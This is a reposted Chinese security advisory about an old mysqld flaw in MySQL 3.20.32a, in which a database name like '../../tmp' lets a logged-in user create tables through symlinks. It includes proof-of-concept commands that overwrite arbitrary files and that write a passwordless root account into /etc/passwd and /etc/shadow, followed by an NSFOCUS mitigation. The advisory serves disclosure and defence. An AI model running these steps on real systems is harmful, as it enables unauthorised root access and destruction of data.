热点推荐:ASP.Net | ADO.Net | VB.Net | Web服务器 | Access | MSSQL | MySQL | Oracle | .Net控件 | Win 9x | Win 2000 | Win 2003 | DOS | Unix | 注册表 | 应用其它 | 安装调试 | 基本操作 | 使用技巧 | 系统优化 |故障处理 | 个性风格 | 病毒安全 | 专杀工具
您现在的位置: 中华IT技术网 >> 操作系统 >> 安全设置 >> 正文
全文
mysqld库文件创建漏洞
作者:Yudi    文章来源:Web    更新时间:2007-10-21

受影响的系统: 
mysql-3.20.32a,其它版本可能也存在此问题 
描述: 
-------------------------------------------------------------------------------- 


任何可以用合法的使用者名和密码登录进mysql的使用者都可以利用mysqld来发起拒绝服 
务攻击或者获得root权限,因为mysql视“../blah-blah”为合法的资料库名。其每 
张表格是用3个文件表示的:tablename.ISD,tablename.ISM和tablename.frm, 
但是mysqld在检查表格存在与否的时候仅仅检查tablename.frm。 

<* 来源:Pavlov, Lesha (lesha@nn.ru) *> 


测试程序: 
-------------------------------------------------------------------------------- 

警 告 

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! 



1、通过mysqld覆盖任意文件从而导致拒绝服务: 
$ cd /var/tmp 
$ ln -s /some/file/you/wish/to/owerwrite qqq.ISD 
$ mysql -u user -h localhost -p somepassword '../../tmp' 
create table qqq(www int); 
\q 

上述例子将覆盖/some/file/you/wish/to/overwrite。 

2、通过mysqld获得root权限: 
$ cd /var/tmp 
$ ln -s /etc/passwd gotcha.ISD 
$ ln -s /etc/shadow make_me_r00t.ISD 
$ mysql -u user -h localhost -p somepassword '../../tmp' 
create table gotcha(qqq varchar(255)); 
create table make_me_r00t(qqq varchar(255)); 
insert into gotcha values('\
r00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\
'); 
insert into make_me_r00t values('\
r00t::1:0:99999:7:-1:-1:\
'); 
\q 



-------------------------------------------------------------------------------- 
建议: 

临时解决办法: 

NSFOCUS建议您将mysql资料库文件的属主改为普通使用者,并以该普通使用者的身份运行mysqld。 

厂商补丁: 

暂无。 



相关文章
最新更新
编辑推荐
热门图片
频道大全
文章阅读排行
周排行
月排行